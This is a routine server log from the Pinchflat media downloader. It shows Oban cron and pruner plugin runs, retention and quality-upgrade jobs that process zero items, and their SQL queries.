{"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.644 [info] {"source":"oban","duration":1398,"event":"plugin:stop","jobs":[1726],"plugin":"Oban.Plugins.Cron"} 21:00:00.650 [info] {"args":{},"id":1726,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1774918800650461655,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 21:00:00.661 [debug] QUERY OK source="media_items" db=10.5ms idle=266.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.661 [info] Culling 0 media items past their retention date 21:00:00.664 [debug] QUERY OK source="media_items" db=3.0ms idle=276.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.664 [info] Deleting 0 media items that are from before the source cutoff 21:00:00.665 [info] {"args":{},"id":1726,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":14306,"event":"job:stop","queue_time":649465,"attempt":1,"tags":["media_item","local_data"]} 21:00:16.820 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:46.821 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.644 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:01:16.822 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:46.824 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.645 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:02:16.825 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:46.826 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.646 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:03:16.828 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:46.829 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.647 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:04:16.830 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:46.831 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.648 [info] {"source":"oban","duration":336,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:05:16.833 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:46.834 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.649 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:06:16.835 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:46.836 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.650 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:07:16.837 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:46.838 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.651 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:08:16.839 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:46.841 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.653 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:09:16.843 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:46.844 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.654 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:10:16.845 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:46.846 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.654 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:11:16.847 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:46.848 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.655 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:12:16.849 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:46.850 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.657 [info] {"source":"oban","duration":359,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:13:16.851 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:46.852 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.657 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:14:16.854 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:46.855 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.658 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:15:16.856 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:46.857 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.659 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:16:16.858 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:46.859 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.660 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:17:16.860 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:46.862 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.661 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:18:16.863 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:46.865 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.662 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:19:16.867 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:46.868 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.663 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:20:16.870 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:46.871 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.664 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:21:16.873 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:46.874 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.665 [info] {"source":"oban","duration":336,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:22:16.875 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:46.877 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.666 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:23:16.878 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:46.879 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.667 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:24:16.880 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:46.881 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.668 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:25:16.882 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:46.883 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.669 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:26:16.884 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:46.885 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.670 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:27:16.886 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:46.887 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.671 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:28:16.888 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:46.889 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.672 [info] {"source":"oban","duration":426,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:29:16.890 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:46.891 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.673 [info] {"source":"oban","duration":299,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:30:16.892 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:46.893 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.674 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:31:16.893 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:46.895 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.675 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:32:16.896 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:46.897 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.676 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:33:16.898 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:46.899 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.677 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:34:16.900 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:46.901 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.678 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:35:16.903 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:46.904 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.679 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:36:16.905 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:46.906 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.680 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:37:16.908 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:46.910 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.682 [info] {"source":"oban","duration":336,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:38:16.911 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:46.912 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.682 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:39:16.913 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:46.914 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.683 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:40:16.915 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:43.428 [debug] Tzdata polling for update. 21:40:43.575 [debug] Tzdata polling shows the loaded tz database is up to date. 21:40:46.916 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.684 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:41:16.917 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:46.918 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.685 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:42:16.919 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:46.921 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.686 [info] {"source":"oban","duration":396,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:43:16.922 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:46.923 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.687 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:44:16.924 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:46.926 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.689 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:45:16.927 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:46.928 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.689 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:46:16.929 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:46.931 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.690 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:47:16.932 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:46.933 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.691 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:48:16.934 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:46.935 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.692 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:49:16.936 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:46.938 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.693 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:50:16.940 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:46.941 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.694 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:51:16.942 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:46.943 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.695 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:52:16.944 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:46.945 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.696 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:53:16.946 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:46.947 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.697 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:54:16.948 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:46.950 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.698 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:55:16.952 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:46.953 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.699 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:56:16.954 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:46.956 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.700 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:57:16.957 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:46.958 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.701 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:58:16.959 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:46.961 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.702 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:59:16.962 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:46.963 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.705 [info] {"source":"oban","duration":1464,"event":"plugin:stop","jobs":[1727],"plugin":"Oban.Plugins.Cron"} 22:00:00.711 [info] {"args":{},"id":1727,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1774922400711316068,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:00.721 [debug] QUERY OK source="media_items" db=10.3ms idle=327.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 22:00:00.722 [info] Redownloading 0 media items 22:00:00.722 [info] {"args":{},"id":1727,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":10769,"event":"job:stop","queue_time":710474,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:16.964 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:46.965 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.705 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:01:16.966 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:46.967 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.706 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:02:16.968 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:46.969 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.707 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:03:16.970 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:46.971 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.708 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:04:16.972 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:46.973 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.709 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:05:16.974 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:46.976 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.710 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:06:16.977 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:46.979 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.711 [info] 